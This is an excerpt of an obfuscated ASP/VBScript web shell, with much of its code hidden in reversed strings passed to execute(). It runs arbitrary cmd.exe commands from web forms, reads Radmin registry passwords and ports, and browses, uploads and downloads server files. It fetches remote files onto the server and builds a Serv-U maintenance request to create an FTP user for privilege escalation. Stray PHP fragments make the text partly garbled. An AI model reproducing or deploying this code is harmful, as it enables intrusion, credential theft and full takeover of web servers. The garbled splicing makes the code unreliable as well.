    " +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +j Parameter&":" +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +j strobj +Else +j"Error! Can't Read!" +End If +j"

    " +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +j Port &":" +j hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +j"Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function:Function MainForm() +execute(shisanfun(">elbat/<>rt/<>dt/<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>dt/<>emarfi/<>'0'=redrobemarf '%59'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>'071'=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/< )udiab(noisses fi:>a')\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a< >a')erehwynAcp\\cetnamyS\\ataD noitacilppA\\1~esulla\\1~emucod\\:c(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&>a<мlerp)8(>')lerp\\:c(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')\\revreS LQS tfosorciM\\seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&;psbn&;psbn&>a')php\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&>a')SWODNIW\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&>a<)2(UvreS)4(>')UvreS\\seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<)1(UvreS)3(>')moc.tfoSonihR\\seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&>a')pmeT\\SWODNIW\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')bupmw\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rb;psbn&j:neht ko >< )sRP(noisses fi:>a<)\:e(RELCYCER)01(>')relcycer\\:e(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<)\:d(RELCYCER)9(>')relcycer\\:D(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<)\:C(RELCYCER)8(>')relcycer\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<_̡)7(>')\\\\ˡʼ\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<β_ʼ_)6(>')\\ˡʼ\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')stnemucoD\\sresU llA\\sgnitteS dna stnemucoD\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')seliF margorP\\:e(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')seliF margorP\\:d(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a')seliF margorP\\:C(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rt<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>'242424#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>p/<>a/<>b/<ʾ>b<>##=ferh ''=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod=kcilcno a<>p<>a/<>b/<>b<>##=ferh 'enon'=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod=kcilcno a<>'xp2:gniddap'=elyts 1=htdiw dt<>dt/<>'000000#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>emarfi/<>'0'=redrobemarf '%001'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>lt=di '061'=htdiw dt<>'0'=gnicapsllec '0'=gniddapllec ';000000# dilos xp1:redrob'=elyts '%5.59'=thgieh '%001'=htdiw elbat<>elbat/<>mrof/<>rt/<>dt/<>')(daoler.noitacol.emarFeliF'=kcilcno 'ˢ'=eulav 'timbus'=epyt tupni< >'OG'=eulav 'timbus'=epyt 'timbuS'=eman tupni<>'retnec'=ngila '041'=htdiw dt<>dt/<>'&)htaPredloF(noisseS&'=eulav '%001:htdiw'=elyts 'htaPredloF'=eman tupni<>dt<>dt/<ַ>'retnec'=ngila '06'=htdiw dt<>rt<>'tnerap_'=tegrat '&LRU&'=noitca 'tsop'=dohtem 'mrofrdda'=eman mrof<>'%001'=htdiw elbat<>mrof/<>emaNF=eman neddih=epyt tupni<>noitcA=eman neddih=epyt tupni<>emarFeliF=tegrat &LRU&=noitca tsop=dohtem mrofedih=eman mrof i elihW oD)\ ,htaPeht(rtsnI = ii miD)htaPeht(redloFetaerc buSbuS dnEgnihtoN = nnoc teSgnihtoN = maerts teSgnihtoN = sr teSgnihtoN = sw teSesolC.maertsesolC.nnocesolC.srpooLtxeNevoM.sr2 ,)htaPeht(sr & rts eliFoTevaS.maerts)tnetnoCelif(sr etirW.maerts)(soEteS.maertsfI dnE)redloFeht & rts(redloFetaercnehT eslaF = )redloFeht & rts(stsixEredloF.)tcejbOmetsySeliF.gnitpircS(tcejbOetaerC.revreS fI))\ ,)htaPeht(sr(veRrtSnI ,)htaPeht(sr(tfeL = redloFehtfoE.sr litnU oD1 = epyT.maertsnepO.maerts1 ,1 ,nnoc ,ataDeliF nepO.srrtSnnoc nepO.nnoc; & htaPeht & =ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP = rtSnnoc)noitcennoC.BDODA(tcejbOetaerC = nnoc teS)maertS.BDODA(tcejbOetaerC = maerts teS)teSdroceR.BDODA(tcejbOetaerC = sr teS\ & ).(htaPpaM.revreS = rtsredloFeht ,rtSnnoc ,maerts ,nnoc ,rts ,sw ,sr miD000001=tuOemiTtpircS.revreStxeN emuseR rorrE nO)htaPeht(kcaPnu buS)emanf&\&toorwww(eliFtxeTetaerC.osf=esonpser tesnoitcnuF dnEgnihtoN = redloFeht teSgnihtoN = sredlof teSgnihtoN = selif teStxeNfI dnEetadpU.sr)(daeR.maerts = )tnetnoCelif(sr)htaP.meti(eliFmorFdaoL.maerts)4 ,htaP.meti(diM = )htaPeht(srweNddA.srnehT 0 =< )$ & emaN.meti & $ ,tsiLeliFsys(rtSnI fIselif nI meti hcaE roFtxeNmaerts ,sr ,htaP.meti bdMroFeerTosfsredlof nI meti hcaE roFsredloFbuS.redloFeht = sredlof teSseliF.redloFeht = selif teS)htaPeht(redloFteG.)tcejbOmetsySeliF.gnitpircS(tcejbOetaerC.revreS = redloFeht teSfI dnE)!ʷʲ߻ڴ治¼Ŀ & htaPeht(rrEwohsnehT eslaF = )htaPeht(stsixEredloF.)tcejbOmetsySeliF.gnitpircS(tcejbOetaerC.revreS fI$bdl.HSH$bdm.HSH$ = tsiLeliFsystsiLeliFsys ,selif ,sredlof ,redloFeht ,meti miD)maerts ,sr ,htaPeht(bdMroFeerTosf noitcnuFbuS dnEgnihtoN = golataCoda teSgnihtoN = maerts teSgnihtoN = nnoc teSgnihtoN = sr teSesolC.maertsesolC.nnoCesolC.srfI dnEmaerts ,sr ,htaPeht bdMroFeerTaseslE maerts ,sr ,htaPeht bdMroFeerTosfnehT osf = )dohteMeht(tseuqeR fI3 ,3 ,nnoc ,ataDeliF nepO.sr1 = epyT.maertsnepO.maerts))egamI tnetnoCelif ,rahCraV htaPeht ,DERETSULC YEK YRAMIRP )1,0(YTITNEDI tni dI(ataDeliF elbaT etaerC(etucexE.nnocrtSnnoc nepO.nnocrtSnnoc etaerC.golataCoda)bdm.HSH(htaPpaM.revreS & =ecruoS ataD ;0.4.BDELO.teJ.tfosorciM=redivorP = rtSnnoc)golataC.XODA(tcejbOetaerC.revreS = golataCoda teS)noitcennoC.BDODA(tcejbOetaerC.revreS = nnoc teS)maertS.BDODA(tcejbOetaerC.revreS = maerts teS)teSdroceR.BDODA(tcejbOetaerC.revreS = sr teSgolataCoda ,rtSnnoc ,maerts ,nnoc ,sr miDtxeN emuseR rorrE nO)htaPeht(bdMoTdda buSbuS dnE>mrof/<¼Ŀ̱λ :ע>rb<>rb<>''=eulav timbus=epyt tupni<>tcAeht=eman bdMmorFesaeler=eulav neddih=epyt tupni<>08=ezis bdm.HSH\ & )).(htaPpaM.revreS(edocnElmtH & =eulav htaPeht=eman tupni<>))#(noisseS(etucexE=eulav #=eman neddih=epyt tupni<>tsop=dohtem mrof<>/rb<:)֧OSF(>/rh<>mrof/<¼Ŀͬľmasλ,bdm.HSH :ע>rb<>rb<>'ʼ'=eulav timbus=epyt tupni<>tceles/<>noitpo/ppa=eulav noitpo<>noitpo/osf=eulav noitpo<>dohteMeht=eman tceles<>tcAeht=eman bdMoTdda=eulav neddih=epyt tupni<>08=ezis & )).(htaPpaM.revreS(edocnElmtH & =eulav htaPeht=eman tupni<>))#(noisseS(etucexE=eulav #=eman neddih=epyt tupni<>tsop=dohtem mrof<:м>rbvid/rb<>retnec=ngila vid< j)htaPeht(kcaPnunehT bdMmorFesaeler = tcAeht fIfI dnEdnE.esnopseRlrUkcaB&>vid/rb<>retnec=ngila vid< j)htaPeht(bdMoTddanehT bdMoTdda = tcAeht fI000001=tuOemiTtpircS.revreS)htaPeht(tseuqeR = htaPeht)tcAeht(tseuqeR = tcAehthtaPeht ,tcAeht miD)(bdMoTddAegaP buS")) + + + +Function ProFile() +execute(shisanfun("IS j>elbat/<>mrof/<&IS=IS>rt/<>dt/<>'̽һ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>05=thgieh dt<>dt/<;psbn&>dt<>rt<&IS=IS>rt/<>dt/<)ȫ񣬴ԽƵԽĵĻҪ裬1ΪС( >/ )'',g/]d\^[/(ecalper.eulav=eulav=puyekno 5=ezis 1=eulav thgir:ngila-txet=elyts emiTA=eman txet=epyt tupni<>dt<>dt/<Ƶ>thgir=ngila dt<>rt<&IS=IS>rt/<>dt/<)ĸԳ룬ֳʷ( 8-FTU>/ 2=eulav rahCA=eman oidar=epyt tupni< 2132BG>/ dekcehc 1=eulav rahCA=eman oidar=epyt tupni<>dt<>dt/<>thgir=ngila dt<>rt<&IS=IS>rt/<>dt/<>aeratxet/<>7=swor 07=sloc edoCA=eman aeratxet<>dt<>dt/<>thgir=ngila ;xp3:pot-gniddap=elyts pot=ngilav dt<>rt<&IS=IS>rt/<>dt/<>aeratxet/<&)psa.tset\&)htaPredloF(noisseS(htaPeRR&>7=swor 07=sloc eliFA=eman aeratxet<&IS=IS>dt<>dt/<>tnof/<;psbn&;psbn&·ĸһÿ>rb<;psbn&;psbn&ĸ໤ʱͬ>wolley=roloc tnof<>rb<·ĵĻҪ>0=eulav avvv=eman neddih=epyt tupni<>thgir=ngila 'xp22:thgieh-enil'=elyts pot=ngilav dt<>rt<&IS=IS'tsoP=2noitcA&eliForP=noitcA?&LRU&'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<&IS=IS>'0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<=ISfI dnEdnE.esnopseR>rb<>retnec/<̽>a/<>knalb_=tegrat &2ssap&=eliForP?&LRU&=ferh dlob:thgiew-tnof;enilrednu:noitaroced-txet=elyts a<㣡ɳ >tnof/<&2ssap&>wolley=roloc tnof< ̽>retnec<>rb<>rb<>rbRB<>rb<): & htapt & :· & ssapt & :ܩ & & resut & : PTFִ( jgnihton=TSOPx teS)sevael(dneS.tsoPxeurT ,sevael/& trop &:1.0.0.721//:ptth ,TSOP nepO.tsoPx)PTTHLMX.2LMXSM(tcejbOetaerC = tsoPx teStxeN emuseR rorrE nOflrcbv & PDCLEMAWR|\ & htapt & =sseccA & flrcbv & enoN=soitaR- & flrcbv & ralugeR=epyTdrowssaP- & flrcbv & metsyS=ecnanetniaM-_ & flrcbv & 0=mumixaMatouQ- & flrcbv & 0=tnerruCatouQ- & flrcbv & 0=tiderCsoitaR- & flrcbv & 1=nwoDoitaR-_ & flrcbv & 1=pUoitaR- & flrcbv & 0=eripxE- & flrcbv & 1-=tuOemiTnoisseS- & flrcbv & 006=tuOemiTeldI- & flrcbv & 1-=sresUrNxaM-_ & flrcbv & 0=nwoDtimiLdeepS- & flrcbv & 0=pUtimiLdeepS- & flrcbv & 1-=PIrePnigoLsresUxaM- & flrcbv & 0=elbanEatouQ-_ & flrcbv & 0=drowssaPegnahC- & flrcbv & 0=nigoLwollAsyawlA- & flrcbv & 0=neddiHediH- & flrcbv & 0=eruceSdeeN-_ & flrcbv & 1=shtaPleR- & flrcbv & 0=elbasiD- & flrcbv & =eliFseMnigoL- & flrcbv & \ & htapt & =riDemoH-_ & flrcbv & ssapt & =drowssaP- & flrcbv & resut & =resU- & flrcbv & tropt & =oNtroP- & flrcbv & 0.0.0.0=PI- & flrcbv & PUTESRESUTES- & sevael = sevaelflrcbv & ECNANETNIAM ETIS & sevael = sevaelflrcbv & dwp & ssaP & sevael = sevaelflrcbv & rsU & resU = sevaelnehT dda = )nottuboidar(mroF.tseuqer fi)dmcd(mroF.tseuqer = dnammoC')tropt(mroF.tseuqer = tropt)htapt(mroF.tseuqer = htapt)ssapt(mroF.tseuqer = ssapt)resut(mroF.tseuqer = resut)tropd(mroF.tseuqer = trop)dwpd(mroF.tseuqer = dwp)resud(mroF.tseuqer = rsU>retnec/<>mrof/<>elbat/<>rt/<>dt/<>'1'=eulav 'noitca'=di 'neddih'=epyt 'noitcaUS'=eman tupni<>'teseR'=eulav '2timbuS'=eman 'teser'=epyt tupni<;psbn&>'oG tsuJ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>d=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<>dt/<ɾȷ>d=di 'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<;psbn&ȷ>d=di 'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>d=di dt<>dt/<ִ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>d=di dt<>dt/<ڶ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>d=di dt<>dt/<·ʷ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'1'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>d=di dt<>dt/<ڼ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'redavni'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>d=di dt<>dt/<˼>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>d=di dt<>dt/<ڶͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>d=di dt<>dt/<ͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>d=di dt<>dt/<ͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>b/<Ϣűɼ>B< >tnof/<8>sgnidbew=ecaf tnof<>s=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>'005'=htdiw elbat<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>retnecfunction MM_show(s){if (document.getElementById(s).style.display==""""){document.getElementById(s).style.display=""none"";}else{document.getElementById(s).style.display="""";}}":If ObT(0,1)=" " Then +j"" +Else +j"" +End If +j"'); + if($_GET['db']){ + css_js("3"); + mysql_select_db($_GET['db'], $sqlcon); + html_n('\n"; +} +echo htmlhead($hsafemode); +echo "
    "&mName&"

    Ȩ
    " +Set ABC=New LBF:j ABC.ShowDriver():Set ABC=Nothing + +j"
    8 վĿ¼"&ef +j cdx&""&cxd&" Ŀ"&ef +j cdx&""&cxd&" ϼĿ¼"&ef +j cdx&""&cxd&" ½--Ŀ"&ef +j cdx&""&cxd&" ½--ı"&ef +j cdx&""&cxd&" ϴ--ļ"&ef +j cdx&""&cxd&" ִ---CMD"&ef +j cdx&""&cxd&" ִ--CMD2"&ef +j cdx&""&cxd&" --Ȩ"&ef +j cdx&""&cxd&" ű--̽"&ef +j cdx&""&cxd&" "&ef +j cdx&""&cxd&" --ļ"&ef&"

    " +j cdx&""&cxd&" û__˺"&ef +j cdx&""&cxd&" ˿__"&ef +j cdx&""&cxd&" __֧"&ef +j cdx&""&cxd&" Servu-Ȩ"&ef +j cdx&""&cxd&" Su---FTP"&ef +j cdx&""&cxd&" SQL-----SA"&ef +j cdx&""&cxd&" SQL---"&ef +j cdx&""&cxd&" RadminȨ"&ef +j cdx&""&cxd&" Pcanywhere"&ef +j cdx&""&cxd&" ˿ɨ"&ef +j cdx&""&cxd&" ȡע"&ef +j cdx&""&cxd&" __ļ"&ef&"" +j"
    " +j cdx&""&cxd&" ɱɱɱɱɱ"&ef +j cdx&""&cxd&" Ӹ"&ef +j cdx&""&cxd&" ջ"&ef +j cdx&""&cxd&" Ŀ¼"&ef +j cdx&""&cxd&" ļ--"&ef +j"
    " +j cdx&""&cxd&" ۺϲѯ"&ef +j cdx&""&cxd&" ͬѯ"&ef +j cdx&""&cxd&" Ȩزѯ"&ef +j cdx&""&cxd&" Ůѯ"&ef +j cdx&""&cxd&" ˳--½
    " +end function +function Cmdx() +execute(shisanfun(")>retnec/<>aeratxet/<(j: lladaer.tuodts.))dmc(tseuqer&c/ &)xdmc(tseuqer(cexe.nhltpircSo j: fi dne lladaer.tuodts.))dmc(tseuqer&c/ exe.dmc(cexe.nhltpircSo jneht exe.dmc=)xdmc(tseuqer fi:txeN emuseR rorrE nO:) >72=swor 051=sloc ylnodaer aeratxet<(j:) >mrof/<>'tibmuS'=eulav timbus=epyt tupni<(j:) >rb<>06=ezis 'dmc'=eman txet=epyt tupni<(j:) >rb<>'exe.dmc'=eulav 06=ezis 'xdmc'=eman txet=epyt tupni<(j:) >'tsop'=dohtem mrof<>retnec<(j")) +end function + + + +Function Course() +SI="
    " +on error resume next +for each obj in getObject("WinNT://.") +err.clear +if OBJ.StartType="" then +SI=SI&"" +end if +if OBJ.StartType=2 then lx="Զ" +if OBJ.StartType=3 then lx="ֶ" +if OBJ.StartType=4 then lx="" +if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then +SI1=SI1&"" +else +SI2=SI2&"" +end if +next +j SI&SI0&SI1&SI2&"
    ϵͳû
     "&obj.Name&" ϵͳû()
     "&obj.Name&" "&obj.DisplayName&"
    [:"&lx&"] "&obj.path&"
     "&obj.Name&" "&obj.DisplayName&"
    [:"&lx&"] "&obj.path&"
    " +End Function +respnose.Write strBAD&Action +Function IIf(var, val1, val2) +If var=True Then +IIf=val1 +Else +IIf=val2 +End If +End Function +Function GetTheSizes(num) +Dim i, arySize(4) +arySize(0)="B" +arySize(1)="KB" +arySize(2)="MB" +arySize(3)="GB" +arySize(4)="TB" +While(num / 1024 >= 1) +num=Fix(num / 1024 * 100) / 100 +i=i + 1 +WEnd +GetTheSizes=num&" "&arySize(i) +End Function +Function HtmlEncodes(str) +If IsNull(str) Then Exit Function +HtmlEncodes=Server.HTMLEncode(str) +End Function + +function downfile(path) +execute(shisanfun("gnihton = mso tesesolc.msohsulf.esnopserdaer.mso etirwyranib.esnopsermaerts-tetco/noitacilppa = epyttnetnoc.esnopser8-ftu = tesrahc.esnopserezis.mso ,htgnel-tnetnoc redaehdda.esnopser)zs,htap(dim & =emanelif ;tnemhcatta ,noitisopsid-tnetnoc redaehdda.esnopser1+)\,htap(verrtsni=zshtap elifmorfdaol.mso1 = epyt.msonepo.mso))0,6(tbo(tcejboetaerc = mso tesraelc.esnopser")) +end function +function htmlencode(s) + if not isnull(s) then + s = replace(s, ">", ">") + s = replace(s, "<", "<") + s = replace(s, chr(39), "'") + s = replace(s, chr(34), """") + s = replace(s, chr(20), " ") + htmlencode = s + end if +end function +execute(shisanfun("noitcnuF dnE>elbat/<>mrof/<>rt/<>dt/<>''=eulav 'timbuS'=eman 'timbus'=epyt tupni< >'52'=ezis 'elif'=epyt 'eliFlacoL'=eman tupni<>'04'=ezis '&)exe.dmC\&)htaPredloF(noisseS(htaPeRR&'=eulav 'htaPoT'=eman tupni<·>dt<>rt<>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?&LRU&'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<>'retnec'=ngila '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<>rb<>rbretnec/<ɩ&崫&ϩ&emaNU&>rb<>rb<>rb<>retnec<=IS nehT 0=rebmun.rrE fI emaNU sAevaS.F eslE txen emuser rorre no!ϩ&ĸһ&ѡ·&ȫĩ&崫&>rb<=IS neht 0=eziSeliF.F rO =emaNU fI )htaPoT(mrof.U=emaNU)eliFlacoL(AU.U=F teS CPU wen=U teSnehT tsoP=)2noitcA(tseuqeR fI )(eliFpU noitcnuF")) +function cmd1shell() +execute(shisanfun("is j>mrof/<>aeratxet/<&)31(rhc&is=isfi dnefi dneaaa&is=is)eurt ,elifpmetzs(elifeteled.osf llacesolc.xclelifo)lladaer.xclelifo(edocnelmth.revres=aaa)0 ,eslaf ,1 ,elifpmetzs( eliftxetnepo.sf = xclelifo tes)tcejbometsyselif.gnitpircs(tcejboetaerc = sf tes)eurt ,0 ,elifpmetzs & > & dmcfed & c/ &htapllehs( nur.sw llac)txt.dmc(htappam.revres = elifpmetzs)tcejbometsyselif.gnitpircs(tcejboetaerc.revres=osf tes)llehs.tpircsw(tcejboetaerc.revres=sw tes)llehs.tpircsw(tcejboetaerc.revres=sw testxen emuser rorre noesleaaa&is=islladaer.tuodts.dd=aaa)dmcfed& c/ &htapllehs(cexe.mc=dd tes))0,1(tbo(tcejboetaerc=mc tesneht sey=)tpircsw(mrof.tseuqer fineht ><)dmc(mrof.tseuqer fi>'dmc'=ssalc ';044:thgieh;%001:htdiw'=elyts aeratxet<>'ִ'=eulav 'timbus'=epyt tupni< >'&dmcfed&'=eulav '%29:htdiw'=elyts 'dmc'=eman tupni&dekcehc&'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt c=ssalc tupni<>'%07:htdiw'=elyts '&htapllehs&'=eulav 'ps'=eman tupni<·llehs>'tsop'=dohtem mrof<=is)dmc(tseuqer = dmcfed neht ><)dmc(tseuqer fi=dekcehc neht sey><)tpircsw(tseuqer fiexe.dmc = htapllehs neht =htapllehs fi)htapllehs(noisses=htapllehs)ps(tseuqer = )htapllehs(noisses neht ><)ps(tseuqer fidekcehc =dekcehc")) +end function +Function upload() +j"
    " +j"ʱرմ˹" +j" ص:޻...Ϊ˽ʡ.޻
    " +j"" +j"
    " +j"" +j"ڸǡ" +j"" +j"" +j"
    " +If isDebugMode = False Then +On Error Resume Next +End If:Dim Http, theUrl, thePath, stream, fileName, overWrite +theUrl = Request("theUrl") +thePath = Request("thePath") +overWrite = Request("overWrite") +Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http = Server.CreateObject("MSXML2.XMLHTTP") +If overWrite <> 2 Then:overWrite = 1:End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState <> 4 Then +End If +With stream +.Type = 1 +.Mode = 3 +.Open +.Write Http.ResponseBody +.Position = 0 +.SaveToFile thePath, overWrite +If Err.Number = 3004 Then +Err.Clear +fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If fileName = "" Then +fileName = "index.htm.txt" +End If +thePath = thePath & "\" & fileName +.SaveToFile thePath, overWrite +j"error,ΪļѴڣع̺͵ַг ִ ļ Ϊֽڣ" +End If +.Close +End With +chkErr(Err) +Set Http = Nothing +Set Stream = Nothing +If isDebugMode = False Then +On Error Resume Next +End If +If Request("ice")="fso" Then +response.Redirect str1&"test.aspx" +elseif Request("ice")="fsos" then +response.Redirect str1&"test.php" +elseif Request("ice")="jztxt" then +response.Redirect "http://"&serveru&"/global.asa" +elseif Request("ice")="killdoor" then +response.Redirect str1&"killdoor.asp" +end if +End Function:Function TSearch():dim st:st=timer():RW="
    " + RW=RW & "" + RW=RW & "" + RW=RW & "" + RW=RW & "
     ·   ע:·ʹ"","".
     ļ  [Ҳ]
    " + j RW : RW="" + if Request.Form("Sfk")<>"" then + Set newsearch=new SearchFile + newsearch.Folders=trim(Request.Form("SFpath")) + newsearch.keyword=trim(Request.Form("Sfk")) + newsearch.Search + Set newsearch=Nothing + j"Mr"&(timer()-st)*1000&"
    " + end if +End Function + +Class SearchFile + dim Folders,keyword,objFso,Counter + Private Sub Class_Initialize + Set objFso=Server.CreateObject(ObT(0,0)) + Counter=0 + End Sub + Private Sub Class_Terminate + Set objFso=Nothing + End Sub + Function Search + Folders=split(Folders,",") + flag=instr(keyword,"\") or instr(keyword,"/") + flag=flag or instr(keyword,":") + flag=flag or instr(keyword,"|") + flag=flag or instr(keyword,"&") + if flag then + j"

    PIֲܰ/\:|&
    " + Exit Function + else + j"


    " + end if + dim i + for i=0 to ubound(Folders) + Call GetAllFile(Folders(i)) + next + j"

    "&Counter&"Y
    " + End Function + Private Function GetAllFile(Folder) + dim objFd,objFs,objFf + Set objFd=objFso.GetFolder(Folder) + Set objFs=objFd.SubFolders + Set objFf=objFd.Files + dim strFdName + On Error Resume Next + For Each OneDir In objFs + strFdName=OneDir.Name + If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then + SFN=Folder&"\"&strFdName + Call GetAllFile(SFN) + End If + Next + dim strFlName + For Each OneFile In objFf + strFlName=OneFile.Name + If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then + FN=Folder&"\"&strFlName + Counter=Counter+ColorOn(FN) + End If + Next + Set objFd=Nothing + Set objFs=Nothing + Set objFf=Nothing + End Function + Private Function CreatePattern(keyword) + CreatePattern=keyword + CreatePattern=Replace(CreatePattern,".","\.") + CreatePattern=Replace(CreatePattern,"+","\+") + CreatePattern=Replace(CreatePattern,"(","\(") + CreatePattern=Replace(CreatePattern,")","\)") + CreatePattern=Replace(CreatePattern,"[","\[") + CreatePattern=Replace(CreatePattern,"]","\]") + CreatePattern=Replace(CreatePattern,"{","\{") + CreatePattern=Replace(CreatePattern,"}","\}") + CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") + CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") + CreatePattern="("&CreatePattern&")+" + End Function + Private Function ColorOn(FileName) + dim objReg + Set objReg=new RegExp + objReg.Pattern=CreatePattern(keyword) + objReg.IgnoreCase=True + objReg.Global=True + retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) + if retVal then + OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") + OutPut="

     " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut + j OutPut + Response.flush + ColorOn=1 + else + ColorOn=0 + end if + Set objReg=Nothing + End Function +End Class + + +execute(shisanfun("noitcnuf dnE:fI dnE:)'¼Ŀվڲ'(trela=kcilcno ###=lrUnepo:eslE:knalb_=tegrat &lrUeht&/=lrUnepo:fI dnE:)2 ,lrUeht(diM = lrUeht:nehT / = )1 ,lrUeht(tfeL fI:)/ ,\ ,lrUeht(ecalpeR = lrUeht:)1 + )htaPeht(neL ,htaPesu(diM = lrUeht:nehT )htaPeht(esaCL = )))htaPeht(neL ,htaPesu(tfeL(esaCL fI:)/(htaPpaM.revreS = htaPeht:htaPeht ,lrUeht miD:)htaPesu(lrUnepo noitcnuf:noitcnuF dnE:fi dne:B & eziSeht = eziSehTteg: nehT 4201< eziSeht dnA 0 => eziSeht fI:fi dne:K & 001 / )001 * )4201 / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201( < eziSeht dnA 4201 => eziSeht fI:fi dne:M & 001 / )001 * ))4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( < eziSeht dnA )4201 * 4201( => eziSeht fI:fi dne:G & 001 / )001 * ))4201 * 